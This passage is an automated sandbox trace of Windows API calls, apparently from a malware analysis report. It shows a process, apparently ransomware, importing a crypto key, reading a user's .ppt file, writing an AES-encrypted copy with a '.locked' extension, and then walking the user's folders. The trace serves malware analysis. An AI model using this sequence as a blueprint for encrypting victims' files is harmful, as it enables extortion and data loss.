(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.195] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0130.195] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.195] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0130.195] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.195] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.196] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.196] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.196] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.197] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.197] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0130.197] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e02360) returned 1 [0130.198] CryptImportKey (in: hProv=0x8e02360, pbData=0x69fdce4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84a78) returned 1 [0130.198] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.198] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xdbdc\x69f") returned 0x0 [0130.198] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.198] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.199] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0130.199] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0130.199] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.200] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.201] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.201] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.201] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.201] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.201] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.201] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0130.202] GetFileType (hFile=0x874) returned 0x1 [0130.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.202] GetFileType (hFile=0x874) returned 0x1 [0130.202] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.203] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0130.203] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.203] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.203] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", lpFilePart=0x0) returned 0x3f [0130.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.203] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0130.205] GetFileType (hFile=0x868) returned 0x1 [0130.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.205] GetFileType (hFile=0x868) returned 0x1 [0130.205] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.206] CryptGenRandom (in: hProv=0x8e02360, dwLen=0x10, pbBuffer=0x6a14ea8 | out: pbBuffer=0x6a14ea8) returned 1 [0130.208] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.208] CryptDuplicateKey (in: hKey=0x8e84a78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84fb8) returned 1 [0130.208] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.208] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x4, pbData=0x6a16164*=0x1, dwFlags=0x0) returned 1 [0130.208] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x1, pbData=0x6a16130, dwFlags=0x0) returned 1 [0130.209] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x630\x438\x24a") returned 0x0 [0130.209] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.209] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.209] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.210] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.210] ReadFile (in: hFile=0x874, lpBuffer=0x6a196c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a196c0*, lpNumberOfBytesRead=0x99ae6cc*=0x14000, lpOverlapped=0x0) returned 1 [0130.210] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a2d6cc*, pdwDataLen=0x99ae6c0*=0x14000, dwBufLen=0x14000 | out: pbData=0x6a2d6cc*, pdwDataLen=0x99ae6c0*=0x14000) returned 1 [0130.211] WriteFile (in: hFile=0x868, lpBuffer=0x6a14f68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a14f68*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0130.212] WriteFile (in: hFile=0x868, lpBuffer=0x6a2e6b8*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a2e6b8*, lpNumberOfBytesWritten=0x99ae6a4*=0x13014, lpOverlapped=0x0) returned 1 [0130.213] ReadFile (in: hFile=0x874, lpBuffer=0x6a196c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a196c0*, lpNumberOfBytesRead=0x99ae6cc*=0x3bdb, lpOverlapped=0x0) returned 1 [0130.213] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a416f0*, pdwDataLen=0x99ae6c0*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x6a416f0*, pdwDataLen=0x99ae6c0*=0x3bd0) returned 1 [0130.213] WriteFile (in: hFile=0x868, lpBuffer=0x6a416f0*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a416f0*, lpNumberOfBytesWritten=0x99ae6a4*=0x3bd0, lpOverlapped=0x0) returned 1 [0130.213] ReadFile (in: hFile=0x874, lpBuffer=0x6a196c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a196c0*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0130.213] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a452e4*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6a452e4*, pdwDataLen=0x99ae714*=0x10) returned 1 [0130.214] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a45318*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6a45318*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0130.214] WriteFile (in: hFile=0x868, lpBuffer=0x6a14f68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6a14f68*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0130.214] CloseHandle (hObject=0x868) returned 1 [0130.216] CloseHandle (hObject=0x874) returned 1 [0130.217] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.217] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.217] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.217] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.217] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0130.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.220] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.220] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.220] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.220] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.220] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.220] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.220] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.221] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: 